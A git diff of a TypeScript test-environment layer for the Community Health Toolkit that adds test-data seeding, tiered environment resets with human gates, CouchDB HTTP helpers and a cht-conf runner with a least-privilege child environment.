+      throw new Error('prepareTestData requires options.dataPath (a cht-conf project folder with csv/ or json_docs/)');
+    }
+    const source: SeedSource = {
+      dataPath: resolve(options.dataPath),
+      bin: options.bin,
+      timeoutMs: options.timeoutMs,
+    };
+    const shared = seedRunBase(handle, source);
+    const warnings: string[] = [];
+
+    const { docsOk, uploadRan, seeded, counts } = await prepareDocs(shared, source.dataPath, config, warnings);
+    const { usersCreated, usersOk } = await seedUsers(shared, source.dataPath, warnings);
+
+    // Only a clean upload run defines the reset worklist: a failed re-seed must not clobber a
+    // live one (docs from the earlier seed are still on the instance).
+    if (uploadRan && seeded.length > 0) {
+      this.seededData.set(trackingKey(handle), { ...source, docIds: seeded.map((doc) => doc.id) });
+    }
+
+    return {
+      placesCreated: counts.places,
+      peopleCreated: counts.people,
+      reportsCreated: counts.reports,
+      usersCreated,
+      warnings,
+      succeeded: docsOk && usersOk,
+      seededDocIds: seeded.map((doc) => doc.id),
+    };
+  }
+
   /**
    * Reset the environment to a known state. See the three-tier reset strategy
-   * in the recommendation doc.
+   * in the recommendation doc. The couchdb tier is the one reset the agent
+   * performs itself (CouchDB HTTP API — no Docker): it wipes the docs the last
+   * prepareTestData seeded, re-uploads pristine copies, and checks they are back.
+   * restart/full stay human-gated: they print the command and return
+   * `performedBy: 'human-gate'` with zero counts WITHOUT waiting for the human. The old stack
+   * keeps answering healthy until the operator acts, so health alone cannot show the reset
+   * ran. Get the operator's approval first, then re-confirm health. CouchDB data is a bind
+   * mount (COUCHDB_DATA), so it survives `down -v`; only the named volumes go.
    */
-  async reset(handle: EnvironmentHandle, tier: ResetTier): Promise<void> {
-    if (!this.useMockDocker) {
-      throw new Error(NOT_IMPLEMENTED);
+  async reset(
+    handle: EnvironmentHandle,
+    tier: ResetTier,
+    options: ResetOptions = {}
+  ): Promise<ResetResult> {
+    const gated = (performedBy: ResetResult['performedBy']): ResetResult => ({
+      tier,
+      wiped: 0,
+      reseeded: 0,
+      performedBy,
+      protectedSkipped: [],
+    });
+
+    if (this.useMockDocker) {
+      console.log(`[Test Environment Agent] Reset (${tier}) -> ${handle.url}`);
+      console.log('[Test Environment Agent] (mock) reset complete');
+      return gated(tier === 'couchdb' ? 'agent' : 'human-gate');
     }
 
-    console.log(`[Test Environment Agent] Reset (${tier}) -> ${handle.url}`);
-    console.log('[Test Environment Agent] (mock) reset complete');
+    if (tier === 'couchdb') {
+      return this.resetCouchdbTier(handle, options);
+    }
+    printResetGate(handle, tier);
+    return gated('human-gate');
+  }
+
+  /**
+   * Reset worklist: explicit options win (they let a handle reloaded in another
+   * process drive the reset — the agent's tracking is in-memory), otherwise fall
+   * back to what prepareTestData recorded for this environment.
+   */
+  private resolveResetWorklist(
+    handle: EnvironmentHandle,
+    options: ResetOptions
+  ): SeededDataRecord | undefined {
+    const tracked = this.seededData.get(trackingKey(handle));
+    const dataPath = options.dataPath === undefined ? tracked?.dataPath : resolve(options.dataPath);
+    if (dataPath === undefined) {
+      assertNoOrphanDocIds(options);
+      return undefined;
+    }
+    const docIds = options.docIds ?? tracked?.docIds ?? [];
+    if (docIds.length === 0) {
+      return undefined;
+    }
+    return { ...tracked, dataPath, docIds };
+  }
+
+  /**
+   * couchdb-tier reset. Before anything is deleted it refuses a data project that names
+   * deployed config and any doc json_docs cannot put back; then it wipes, reseeds, and
+   * confirms from CouchDB that every wiped doc returned. A half-reset never passes as clean.
+   */
+  private async resetCouchdbTier(handle: EnvironmentHandle, options: ResetOptions): Promise<ResetResult> {
+    const tracked = this.resolveResetWorklist(handle, options);
+    if (tracked === undefined) {
+      console.log(
+        `[Test Environment Agent] couchdb reset: no seeded docs tracked for ${handle.url} — ` +
+          'nothing to wipe (seed with prepareTestData, or pass docIds + dataPath)'
+      );
+      return { tier: 'couchdb', wiped: 0, reseeded: 0, performedBy: 'agent', protectedSkipped: [] };
+    }
+    const onDisk = readSeededDocs(tracked.dataPath);
+    assertNoProtectedDocs('couchdb reset', tracked.dataPath, onDisk);
+    // Tracking never holds a protected id, but a caller-supplied docIds list might.
+    const { safe, protectedIds } = partitionProtected(tracked.docIds);
+    assertRestorable(tracked.dataPath, safe, onDisk);
+
+    console.log(`[Test Environment Agent] couchdb reset: wiping ${safe.length} seeded doc(s) -> ${handle.url}`);
+    const wiped = await wipeTrackedDocs(handle, safe);
+    await reseedTrackedDocs(handle, tracked, wiped);
+    await verifyRestored(handle, safe);
+
+    // The dataset may have changed since the wiped set was seeded.
+    this.seededData.set(trackingKey(handle), { ...tracked, docIds: onDisk.map((doc) => doc.id) });
+    console.log(`[Test Environment Agent] couchdb reset complete — ${wiped} doc(s) wiped, ${safe.length} restored`);
+    return {
+      tier: 'couchdb',
+      wiped,
+      reseeded: safe.length,
+      performedBy: 'agent',
+      protectedSkipped: protectedIds,
+    };
   }
 
   /**
-   * Tear the environment down and clean up volumes.
+   * Tear the environment down. Tracking is kept: CouchDB data is a bind mount that survives
+   * `down -v`, so the seeded docs are still there when the same stack comes back, and a stale
+   * entry is harmless (the wipe skips docs that are gone, the reseed recreates them).
    */
   async teardown(handle: EnvironmentHandle): Promise<void> {
     if (!this.useMockDocker) {
-      throw new Error(NOT_IMPLEMENTED);
+      console.log('[Test Environment Agent] HUMAN GATE — teardown (the agent runs no Docker):');
+      console.log(`    ${gateEnv()}scripts/test-env-down.sh${gateArg(handle.chtCorePath)}   # docker compose down -v`);
+      return;
     }
 
     console.log(`[Test Environment Agent] Teardown -> ${handle.url}`);
diff --git a/src/types/index.ts b/src/types/index.ts
index 48e903d2..8fbc3c7f 100644
--- a/src/types/index.ts
+++ b/src/types/index.ts
@@ -772,15 +772,231 @@ export interface DiscoveredConfig {
   permissions: Record<string, string[]>;
   transitions: Record<string, TransitionConfig>;
   forms: string[];
+  /**
+   * Installed form id -> CouchDB revision of its `form:<id>` doc. The rev is
+   * the change-detection hash for the apply -> verify loop: re-discover after
+   * applyConfig and a changed rev proves the upload took (an unchanged rev
+   * matches cht-conf's `skipped` status). Populated by the real discovery
+   * path; optional so hand-built configs (tests, fixtures) stay lightweight.
+   */
+  formVersions?: Record<string, string>;
+}
+
+/**
+ * A bucket of cht-conf upload work, mapping to the underlying cht-conf verbs.
+ * The agent drives these
+ * over HTTP against the instance; it never edits the config itself.
+ * - `app-settings`      compile-app-settings + upload-app-settings
+ * - `app-settings-only` upload-app-settings (NO compile) — for a deployment-
+ *                       recovered, pre-compiled app_settings.json where
+ *                       recompiling would clobber the minified contact-summary /
+ *                       tasks / targets
+ * - `app-forms`         convert-app-forms + upload-app-forms
+ * - `contact-forms`     convert-contact-forms + upload-contact-forms
+ * - `resources`         upload-resources + upload-branding + upload-custom-translations
+ */
+export type ConfigUploadAction =
+  | 'app-settings'
+  | 'app-settings-only'
+  | 'app-forms'
+  | 'contact-forms'
+  | 'resources';
+
+/**
+ * Inputs to applyConfig. `configPath` defaults to cht-core's in-repo
+ * `config/default`, resolved against the handle's chtCorePath; for cht-conf
+ * tickets, pass the deployment's config project.
+ * `actions` narrows which cht-conf uploads run — omit to run the standard set
+ * (the cht-core default-config flow).
+ */
+export interface ApplyConfigOptions {
+  /** cht-conf project to compile + upload (default: config/default under the handle's chtCorePath). */
+  configPath?: string;
+  /** Which cht-conf upload buckets to run (default: the four standard buckets; app-settings-only is opt-in). */
+  actions?: ConfigUploadAction[];
+  /**
+   * Restrict an upload to a single artifact by name (e.g. a form id like
+   * `pregnancy`) so the validate loop re-uploads only the one form it changed.
+   * Passed as a positional form filter to the form-upload verbs (cht-conf's
+   * args-form-filter); ignored with a warning for the settings/resources
+   * buckets. Omit to upload the whole bucket.
+   */
+  artifact?: string;
+  /** Override the cht-conf binary (default: `cht`); lets the apply run a deployment-pinned cht-conf. */
+  bin?: string;
+  /** Per-bucket timeout in ms (convert + validate + upload of a full form set can exceed the default). */
+  timeoutMs?: number;
+}
+
+/**
+ * Per-action outcome of a cht-conf upload. `uploaded` = the artifact changed and
+ * was pushed; `skipped` = cht-conf's hash check found it identical to the
+ * instance (no-op, not a failure); `failed` = the verb errored. The verify step
+ * needs this three-way distinction — a boolean can't tell "skipped" from "ran".
+ */
+export type ConfigActionStatus = 'uploaded' | 'skipped' | 'failed';
+
+/**
+ * Outcome of a single cht-conf upload bucket within applyConfig.
+ */
+export interface ConfigActionResult {
+  action: ConfigUploadAction;
+  status: ConfigActionStatus;
+  /** The cht-conf verbs this bucket ran (for evidence/logging). */
+  commands: string[];
+  warnings: string[];
+  /**
+   * True when cht-conf found nothing to act on (an artifact filter that matched
+   * no file, or a missing bucket input). Distinct from a hash-based skip, which
+   * means the artifact WAS found and was already current. applyConfig uses this
+   * to decide whether an artifact-targeted apply actually happened.
+   */
+  matchedNothing?: boolean;
+}
+
+/**
+ * Result of applying a config to the instance. The verify step (and the QA
+ * Supervisor) asserts on this rather than re-deriving success from logs.
+ */
+export interface ConfigApplyResult {
+  configPath: string;
+  /** Single artifact targeted, if the apply was narrowed to one. */
+  artifact?: string;
+  /** Per-bucket outcome, in the order the buckets ran. */
+  actions: ConfigActionResult[];
+  /** True unless some action failed (a skipped/no-change action is not a failure). */
+  succeeded: boolean;
+  warnings: string[];
+}
+
+/**
+ * Inputs to a single cht-conf bucket invocation (see src/utils/cht-conf-runner.ts).
+ * The runner builds the `cht` argv from these; the agent never embeds credentials
+ * in a log line.
+ */
+export interface ChtConfRunOptions {
+  action: ConfigUploadAction;
+  /** The instance URL WITH embedded credentials (https://user:pass@host). */
+  instanceUrl: string;
+  /** Project folder passed to cht-conf `--source`. */
+  configPath: string;
+  /** Optional single-form filter (positional arg on the form-upload verbs). */
+  artifact?: string;
+  /** Working directory for the spawned process (see ChtConfExecOptions.cwd). */
+  cwd?: string;
+  /** Override the cht-conf binary (default: `cht`); lets tests stub a fake script. */
+  bin?: string;
+  /** Per-bucket timeout in ms before the process is killed and marked failed. */
+  timeoutMs?: number;
+}
+
+/**
+ * Inputs to a generic cht-conf invocation (the low-level runner under
+ * runBucket, also driving the test-data verbs csv-to-docs / upload-docs /
+ * create-users). Verbs run in order inside ONE `cht` process.
+ */
+export interface ChtConfExecOptions {
+  /** cht-conf actions to run, in order (e.g. ['csv-to-docs', 'upload-docs']). */
+  verbs: string[];
+  /** The instance URL WITH embedded credentials (https://user:pass@host). */
+  instanceUrl: string;
+  /** Project folder passed to cht-conf `--source`. */
+  configPath: string;
+  /** Positional args appended after the verbs (e.g. a form filter). */
+  extraArgs?: string[];
+  /**
+   * Working directory for the spawned process. cht-conf writes report files
+   * (upload-docs.<ts>.log.json) into its cwd, so data runs point this at the
+   * data project to keep droppings out of the repo. Defaults to the agent cwd.
+   */
+  cwd?: string;
+  /** Log label ("[cht-conf] <label> ..."); defaults to the joined verbs. */
+  logLabel?: string;
+  /** Override the cht-conf binary (default: `cht`); lets tests stub a fake script. */
+  bin?: string;
+  /** Timeout in ms before the process is killed. */
+  timeoutMs?: number;
+}
+
+/**
+ * Raw outcome of a generic cht-conf invocation. Never a rejection — spawn
+ * errors and timeouts are folded in so callers can aggregate without
+ * per-invocation try/catch. Callers interpret `output` (cht-conf logs
+ * everything to stdout) with the parsers in src/utils/test-data.ts.
+ */
+export interface ChtConfExecResult {
+  /** Process exit code; null when it never exited cleanly (killed / not started). */
+  exitCode: number | null;
+  /** Interleaved stdout+stderr of the run. */
+  output: string;
+  /** True when the run was killed by the timeout. */
+  timedOut: boolean;
+  /** Set when the process could not be spawned at all (e.g. binary missing). */
+  startError?: string;
+}
+
+/**
+ * Inputs to prepareTestData's real path. The data project is a cht-conf
+ * project folder. With a csv/ directory, csv-to-docs regenerates json_docs from
+ * `<dataPath>/csv/*.csv` (naming: place.<type>.csv, person.csv, report.<form>.csv,
+ * contact.csv, users.csv). The layer records the files it generated in
+ * `<dataPath>/.cht-agent-seeded.json` and refuses to seed while json_docs holds any
+ * other doc file. Without csv/, the layer uploads the hand-authored json_docs as it is.
+ * User accounts come from `<dataPath>/users.csv`. The operator writes that file by hand,
+ * or csv-to-docs writes it from csv/users.csv or csv/users.<name>.csv and replaces any
+ * existing file. create-users only runs when that file exists: cht-conf throws on a
+ * missing users.csv.
+ */
+export interface PrepareTestDataOptions {
+  /** cht-conf project folder with csv/ or a hand-authored json_docs/ (required in real mode). */
+  dataPath?: string;
+  /** Override the cht-conf binary (default: `cht`); lets tests stub a fake script. */
+  bin?: string;
+  /** Per-invocation timeout in ms before the process is killed. */
+  timeoutMs?: number;
+}
+
+/**
+ * Tuning for readiness polling (see src/utils/cht-readiness.ts)
+ */
+export interface ReadinessOptions {
+  /** Maximum total time to wait before giving up (ms). */
+  maxWaitMs?: number;
+  /** Initial delay between polls (ms). */
+  initialDelayMs?: number;
+  /** Upper bound on the exponential backoff delay (ms). */
+  maxDelayMs?: number;
+  /**
+   * Per-request timeout (ms). A probe near the deadline still gets min(this, 1 s), so a
+   * wait can overrun maxWaitMs by up to that.
+   */
+  requestTimeoutMs?: number;
 }
 
 /**
- * Inputs to provision an environment (need a local code path OR a published version)
+ * Inputs to provision an environment. Real mode needs chtCorePath (the checkout
+ * scripts/test-env-up.sh builds); a published `version` is mock-only.
  */
 export interface ProvisionOptions {
   chtCorePath?: string;
   version?: string;
+  /** Real mode accepts only cht-agent-net, which the scripts and override hardcode. */
   network?: string;
+  /** Target URL of the running instance (default: https://nginx on cht-agent-net). */
+  url?: string;
+  /**
+   * CouchDB admin credentials (default: the url's userinfo, else COUCHDB_USER /
+   * COUCHDB_PASSWORD, else medic/password — the same defaults as scripts/test-env-up.sh).
+   */
+  auth?: { user: string; password: string };
+  /** Readiness polling tuning (the human may take minutes to bring the env up). */
+  readiness?: ReadinessOptions;
+  /**
+   * Permit a target that is not a recognised disposable test host. This layer
+   * runs cht-conf with `--force` and deletes docs, so provision refuses an
+   * unknown host unless this (or CHT_TEST_ENV_ALLOW_EXTERNAL=1) is set.
+   */
+  allowExternalTarget?: boolean;
 }
 
 /**
@@ -790,7 +1006,7 @@ export interface EnvironmentHandle {
   url: string;
   auth: { user: string; password: string };
   network: string;
-  /** Working copy backing this env (set when source-built; needed by applyConfig/rebuild) */
+  /** Working copy backing this env (set when source-built); applyConfig resolves its default config/default against it. */
   chtCorePath?: string;
   source: 'mock' | 'docker';
 }
@@ -799,14 +1015,53 @@ export interface EnvironmentHandle {
  * Result of seeding test data into the environment
  */
 export interface TestDataResult {
+  /** The counts classify what json_docs held; `succeeded` says whether the instance took it all. */
   placesCreated: number;
   peopleCreated: number;
   reportsCreated: number;
   usersCreated: number;
   warnings: string[];
+  /** True when every doc uploaded and every cht-conf seeding run exited 0. */
+  succeeded: boolean;
+  /**
+   * _ids of the docs seeded via csv-to-docs + upload-docs (evidence for the
+   * QA verify step; also what the couchdb-tier reset wipes and reseeds).
+   * User ACCOUNTS created by create-users are not docs and are not listed.
+   */
+  seededDocIds: string[];
 }
 
 /**
  * Reset granularity (see Test Environment Layer recommendation, three-tier reset)
  */
 export type ResetTier = 'couchdb' | 'restart' | 'full';
+
+/**
+ * Inputs to reset(). The couchdb tier defaults to whatever the last
+ * prepareTestData tracked for this environment; pass these to drive a reset
+ * from a handle that was reloaded in another process (the agent's tracking is
+ * in-memory and does not survive a restart).
+ */
+export interface ResetOptions {
+  /** Data project to reseed from (default: the tracked one). */
+  dataPath?: string;
+  /** Doc ids to wipe (default: the tracked ones). */
+  docIds?: string[];
+}
+
+/**
+ * Outcome of reset(). Returned for every tier so a caller can assert what
+ * happened instead of scraping logs: a no-op reports zero counts rather than
+ * being indistinguishable from a completed wipe.
+ */
+export interface ResetResult {
+  tier: ResetTier;
+  /** Docs actually tombstoned and acknowledged by CouchDB. */
+  wiped: number;
+  /** Docs re-uploaded from the data project. */
+  reseeded: number;
+  /** `agent` for the couchdb tier; `human-gate` when the tier only printed instructions. */
+  performedBy: 'agent' | 'human-gate';
+  /** Tracked ids refused as protected config docs (never wiped). */
+  protectedSkipped: string[];
+}
diff --git a/src/utils/cht-api.ts b/src/utils/cht-api.ts
new file mode 100644
index 00000000..89bad33c
--- /dev/null
+++ b/src/utils/cht-api.ts
@@ -0,0 +1,220 @@
+/**
+ * CHT / CouchDB HTTP helpers for the Test Environment Layer.
+ *
+ * Isolates every `fetch` against a running instance (the way cht-readiness.ts
+ * isolates the readiness poll), so the Test Environment Agent stays
+ * orchestration-only. CHT proxies CouchDB behind the same nginx front end, so
+ * both the API (`/api/v1/settings`) and the medic database
+ * (`/medic/_all_docs`, `/medic/_bulk_docs`) share the handle's base URL and
+ * admin credentials. Credentials travel only in the Authorization header —
+ * never in a URL, a log line, or an error message.
+ *
+ * See: designs/layer_recommendations/test-environment-layer.md (Config
+ *      Discovery + reset tiers)
+ */
+
+import { EnvironmentHandle } from '../types';
+
+type ChtAuth = EnvironmentHandle['auth'];
+
+/** Per-request bound so a hung connection fails fast (same default as readiness). */
+const DEFAULT_REQUEST_TIMEOUT_MS = 10_000;
+
+export interface ChtRequestOptions {
+  /** Per-request timeout in ms. */
+  requestTimeoutMs?: number;
+}
+
+/** A row of a CouchDB _all_docs response, flattened for callers. */
+export interface DocRevRow {
+  id: string;
+  /** Present when the doc exists (deleted docs keep their tombstone rev). */
+  rev?: string;
+  /** True when the doc exists only as a deletion tombstone. */
+  deleted?: boolean;
+  /** True when the doc has never existed. */
+  missing?: boolean;
+}
+
+/** A row of a CouchDB _bulk_docs response. */
+export interface BulkDocResultRow {
+  id?: string;
+  ok?: boolean;
+  rev?: string;
+  error?: string;
+  reason?: string;
+}
+
+/** Minimal shape of a doc submitted to _bulk_docs (deletions add _deleted). */
+export type BulkDoc = { _id: string } & Record<string, unknown>;
+
+// Raw CouchDB _all_docs row: value carries rev/deleted, error marks missing keys.
+interface AllDocsRow {
+  id?: string;
+  key?: string;
+  value?: { rev?: string; deleted?: boolean };
+  error?: string;
+}
+
+const basicAuth = (auth: ChtAuth): string => {
+  const encoded = Buffer.from(`${auth.user}:${auth.password}`).toString('base64');
+  return `Basic ${encoded}`;
+};
+
+/** These endpoints never redirect in normal operation; following one would replay an authed call. */
+const assertNotRedirect = (status: number, method: string, path: string): void => {
+  if (status >= 300 && status < 400) {
+    throw new Error(`CHT request failed: ${method} ${path} -> unexpected redirect (HTTP ${status})`);
+  }
+};
+
+/**
+ * Bounded, authenticated request. Throws on a non-2xx status with the path
+ * and status only (the base URL is the handle's cred-free URL, so the full
+ * message stays safe to log). The single options object carries the per-request
+ * timeout plus the method and JSON body for the POST callers.
+ */
+const request = async (
+  url: string,
+  auth: ChtAuth,
+  path: string,
+  options: ChtRequestOptions & { method?: string; body?: string } = {}
+): Promise<unknown> => {
+  const method = options.method ?? 'GET';
+  const timeoutMs = options.requestTimeoutMs ?? DEFAULT_REQUEST_TIMEOUT_MS;
+  const hasBody = options.body !== undefined;
+  const response = await fetch(`${url}${path}`, {
+    method,
+    headers: {
+      Authorization: basicAuth(auth),
+      Accept: 'application/json',
+      ...(hasBody ? { 'Content-Type': 'application/json' } : {}),
+    },
+    ...(hasBody ? { body: options.body } : {}),
+    // Never follow a redirect on an authenticated request: these endpoints do not
+    // redirect in normal operation, and following one would replay the call (and
+    // its body) wherever the target host chose to point.
+    redirect: 'manual',
+    signal: AbortSignal.timeout(timeoutMs),
+  });
+  assertNotRedirect(response.status, method, path);
+  if (!response.ok) {
+    throw new Error(`CHT request failed: ${method} ${path} -> HTTP ${response.status}`);
+  }
+  return response.json();
+};
+
+/**
+ * Read the deployed app settings (GET /api/v1/settings) — contact_types,
+ * roles, permissions, transitions, and the rest of the app_settings doc.
+ */
+export const fetchSettings = async (
+  url: string,
+  auth: ChtAuth,
+  options: ChtRequestOptions = {}
+): Promise<Record<string, unknown>> => {
+  const settings = await request(url, auth, '/api/v1/settings', options);
+  if (settings === null || typeof settings !== 'object' || Array.isArray(settings)) {
+    throw new Error('CHT request failed: GET /api/v1/settings returned a non-object body');
+  }
+  return settings as Record<string, unknown>;
+};
+
+/** The CouchDB session for these credentials: cht-api proxies GET /_session straight to CouchDB. */
+export const fetchSession = async (
+  url: string,
+  auth: ChtAuth,
+  options: ChtRequestOptions = {}
+): Promise<{ name: string | null; roles: string[] }> => {
+  const body = (await request(url, auth, '/_session', options)) as {
+    userCtx?: { name?: string | null; roles?: unknown };
+  };
+  const roles = body.userCtx?.roles;
+  return {
+    name: body.userCtx?.name ?? null,
+    roles: Array.isArray(roles) ? roles.filter((role): role is string => typeof role === 'string') : [],
+  };
+};
+
+// _all_docs key range covering every `form:<id>` doc. \ufff0 is the
+// conventional high-sentinel: it sorts after any real form id character.
+const FORM_RANGE_QUERY = new URLSearchParams({
+  startkey: JSON.stringify('form:'),
+  endkey: JSON.stringify('form:\ufff0'),
+}).toString();
+
+/**
+ * List the installed form docs (id + current rev) straight from the medic
+ * database. The rev doubles as the form's change-detection hash — see
+ * DiscoveredConfig.formVersions.
+ */
+export const fetchFormRevs = async (
+  url: string,
+  auth: ChtAuth,
+  options: ChtRequestOptions = {}
+): Promise<Array<{ id: string; rev: string }>> => {
+  const body = (await request(url, auth, `/medic/_all_docs?${FORM_RANGE_QUERY}`, options)) as {
+    rows?: AllDocsRow[];
+  };
+  return (body.rows ?? [])
+    .filter((row): row is AllDocsRow & { id: string } => typeof row.id === 'string' && !row.value?.deleted)
+    .map((row) => ({ id: row.id, rev: row.value?.rev ?? '' }));
+};
+
+/**
+ * Fetch the CURRENT revision of each requested doc id (POST /medic/_all_docs
+ * with keys). The couchdb reset needs live revs, not the revs from seeding
+ * time — sentinel transitions bump seeded docs' revs behind our back.
+ */
+export const fetchDocRevs = async (
+  url: string,
+  auth: ChtAuth,
+  ids: string[],
+  options: ChtRequestOptions = {}
+): Promise<DocRevRow[]> => {
+  if (ids.length === 0) {
+    return [];
+  }
+  const body = (await request(url, auth, '/medic/_all_docs', {
+    ...options,
+    method: 'POST',
+    body: JSON.stringify({ keys: ids }),
+  })) as { rows?: AllDocsRow[] };
+  return (body.rows ?? []).map((row) => {
+    if (row.error || !row.value) {
+      return { id: row.key ?? row.id ?? '', missing: true };
+    }
+    return {
+      id: row.id ?? row.key ?? '',
+      rev: row.value.rev,
+      ...(row.value.deleted ? { deleted: true } : {}),
+    };
+  });
+};
+
+/**
+ * Submit docs to POST /medic/_bulk_docs (the couchdb reset submits
+ * {_id, _rev, _deleted: true} tombstones). Returns the per-doc outcome rows;
+ * callers decide whether an `error` row (e.g. a conflict) is fatal. A 2xx body
+ * that is not an array throws rather than reading as "zero failures" — the
+ * destructive caller must not mistake an unexpected response for a clean wipe.
+ */
+export const bulkDocs = async (
+  url: string,
+  auth: ChtAuth,
+  docs: BulkDoc[],
+  options: ChtRequestOptions = {}
+): Promise<BulkDocResultRow[]> => {
+  if (docs.length === 0) {
+    return [];
+  }
+  const body = await request(url, auth, '/medic/_bulk_docs', {
+    ...options,
+    method: 'POST',
+    body: JSON.stringify({ docs }),
+  });
+  if (!Array.isArray(body)) {
+    throw new TypeError('CHT request failed: POST /medic/_bulk_docs returned a non-array body');
+  }
+  return body as BulkDocResultRow[];
+};
diff --git a/src/utils/cht-conf-runner.ts b/src/utils/cht-conf-runner.ts
new file mode 100644
index 00000000..8c7bc6e0
--- /dev/null
+++ b/src/utils/cht-conf-runner.ts
@@ -0,0 +1,347 @@
+/**
+ * cht-conf runner for the Test Environment Layer.
+ *
+ * Isolates the `child_process` calls to cht-conf (the way cht-readiness.ts
+ * isolates `fetch`), so the Test Environment Agent stays orchestration-only.
+ * The agent NEVER runs Docker — cht-conf talks to the already-running instance
+ * over HTTP, so spawning it is allowed (and the sandbox allow-list sanctions
+ * `Bash(cht:*)`).
+ *
+ * Two layers: runChtConf spawns one `cht` process for an ordered verb list
+ * (cht-conf runs named actions in sequence) and reports the raw outcome;
+ * runBucket wraps it for the config upload buckets, classifying stdout into
+ * uploaded/skipped/failed. The test-data verbs (csv-to-docs, upload-docs,
+ * create-users) drive runChtConf directly.
+ *
+ * See: designs/layer_recommendations/test-environment-layer.md
+ */
+
+import { spawn } from 'node:child_process';
+import {
+  ChtConfExecOptions,
+  ChtConfExecResult,
+  ChtConfRunOptions,
+  ConfigActionResult,
+  ConfigActionStatus,
+  ConfigUploadAction,
+} from '../types';
+
+/**
+ * The cht-conf verbs each upload bucket runs, in order. Single source of truth
+ * for both the real runner and the mock fixture.
+ */
+export const CONFIG_ACTION_COMMANDS: Record<ConfigUploadAction, string[]> = {
+  'app-settings': ['compile-app-settings', 'upload-app-settings'],
+  // Upload a pre-compiled app_settings.json verbatim, skipping compile — the
+  // path for a deployment recovered via `backup-app-settings` (recompiling from
+  // a source tree you do not have would clobber contact-summary/tasks/targets).
+  'app-settings-only': ['upload-app-settings'],
+  'app-forms': ['convert-app-forms', 'upload-app-forms'],
+  'contact-forms': ['convert-contact-forms', 'upload-contact-forms'],
+  resources: ['upload-resources', 'upload-branding', 'upload-custom-translations'],
+};
+
+/**
+ * Flags that make cht-conf safe to run autonomously. Without these it BLOCKS on
+ * stdin (git-status prompt, both-changed form-conflict prompt, etc.) and the
+ * agent hangs. `--force` skips all confirmations (overwrite on conflict); the
+ * env is a throwaway test instance with a self-signed cert.
+ */
+const AUTONOMOUS_FLAGS = [
+  '--force',
+  '--skip-git-check',
+  '--skip-version-check',
+  '--skip-dependency-check',
+  '--skip-translation-check',
+  '--accept-self-signed-certs',
+  '--verbose',
+];
+
+const DEFAULT_TIMEOUT_MS = 180_000;
+
+/**
+ * The cht-conf binary to spawn. Overridable via CHT_CONF_BIN so the agent can run
+ * a deployment's OWN pinned cht-conf — e.g. a throwaway
+ * `<config>/node_modules/.bin/cht` that `npm ci` installed into the mounted
+ * config repo — instead of the image's global `cht`, matching the version the
+ * config was authored/compiled with. A per-call `options.bin` still wins.
+ */
+export const resolveChtConfBin = (): string => process.env.CHT_CONF_BIN || 'cht';
+
+/** Buckets whose verbs accept a positional single-form filter. */
+export const FORM_BUCKETS = new Set<ConfigUploadAction>(['app-forms', 'contact-forms']);
+
+/**
+ * cht-conf executes code from the `--source` project (app-settings build,
+ * nools, post-processing), so the child gets a minimal env — NOT the agent's
+ * full process.env, which holds LLM provider keys (ANTHROPIC_API_KEY etc.). The
+ * instance URL + creds are passed as the `--url` arg, not via env, so cht-conf
+ * needs nothing secret here. Least-privilege: a malicious config repo can't read
+ * keys that were never handed to it.
+ */
+const CHT_CONF_ENV_ALLOWLIST = ['PATH', 'HOME', 'NODE_PATH', 'TMPDIR', 'LANG', 'LC_ALL'];
+
+const minimalEnv = (): NodeJS.ProcessEnv => {
+  const env: NodeJS.ProcessEnv = {};
+  for (const key of CHT_CONF_ENV_ALLOWLIST) {
+    if (process.env[key] !== undefined) {
+      env[key] = process.env[key];
+    }
+  }
+  return env;
+};
+
+/**
+ * The full cht-conf argv for a generic invocation (url, source, safe flags,
+ * verbs). Extra args ride AFTER a literal `--` separator: cht-conf's main.js
+ * treats every bare positional as an action name and throws
+ * "Unsupported action(s)" otherwise — only `cmdArgs['--']` reaches
+ * environment.extraArgs (which is what args-form-filter reads).
+ *
+ * The credentialed URL is never logged, but argv is readable by every process in the
+ * same PID namespace (/proc/<pid>/cmdline) for the life of the child; cht-conf 6.x takes
+ * a remote --url only this way. Acceptable for a disposable instance.
+ */
+const buildExecArgs = (options: ChtConfExecOptions): string[] => [
+  `--url=${options.instanceUrl}`,
+  `--source=${options.configPath}`,
+  ...AUTONOMOUS_FLAGS,
+  ...options.verbs,
+  ...(options.extraArgs?.length ? ['--', ...options.extraArgs] : []),
+];
+
+const bucketExecOptions = (options: ChtConfRunOptions): ChtConfExecOptions => {
+  const verbs = CONFIG_ACTION_COMMANDS[options.action];
+  const formFilter = options.artifact && FORM_BUCKETS.has(options.action) ? [options.artifact] : [];
+  return {
+    verbs,
+    instanceUrl: options.instanceUrl,
+    configPath: options.configPath,
+    extraArgs: formFilter,
+    logLabel: `${options.action}: ${verbs.join(' ')}`,
+    cwd: options.cwd,
+    bin: options.bin,
+    timeoutMs: options.timeoutMs,
+  };
+};
+
+/** Exported for testing: exactly the argv runBucket spawns, via the same lowering. */
+export const buildChtConfArgs = (options: ChtConfRunOptions): string[] =>
+  buildExecArgs(bucketExecOptions(options));
+
+// cht-conf logs a "no changes" line per artifact when its hash matches the
+// instance. CRUCIALLY these skip lines contain the word "uploaded" (e.g.
+// "Form x not uploaded, no changes"), so a naive /uploaded/ match misfires —
+// the skip phrasing must be detected FIRST, per line. Verified against
+// cht-conf src (upload-forms.js, upload-app-settings.js,
+// upload-custom-translations.js, upload-configuration-docs.js).
+const SKIP_LINE = /no changes|not updated|already up to date|nothing to upload/;
+// Positive upload signals. The lookbehind binds to `uploaded` only, so it stops
+// "not uploaded"; "not updated" is excluded by SKIP_LINE winning the per-line test.
+const UPLOAD_LINE = /(?<!not )uploaded|upload complete|updated successfully/;
+// cht-conf warns and still exits 0 when a verb had nothing to do at all — an
+// unmatched form filter (args-form-filter.js) or a missing bucket input file
+// (upload-configuration-docs.js). Nothing changed on the instance, so these
+// must not classify as uploaded.
+const NO_WORK_LINE = /no matches found for files matching form filter|no configuration file found at path/;
+
+/**
+ * Classify a finished cht-conf run. cht-conf exits 0 for BOTH a real upload and
+ * a hash-based skip, so status is parsed from stdout per line: a bucket counts
+ * as `uploaded` only when ANY artifact verifiably uploaded; every other clean
+ * exit (hash-based skips, no-work warnings, unrecognized output) is `skipped` —
+ * never assume an upload without evidence. A non-zero exit (or spawn error) is
+ * `failed`. Exported for testing.
+ */
+export const classifyChtConfOutput = (output: string, exitCode: number | null): ConfigActionStatus => {
+  if (exitCode !== 0) {
+    return 'failed';
+  }
+  const lines = output.toLowerCase().split('\n');
+  const uploadedAny = lines.some((line) => !SKIP_LINE.test(line) && UPLOAD_LINE.test(line));
+  return uploadedAny ? 'uploaded' : 'skipped';
+};
+
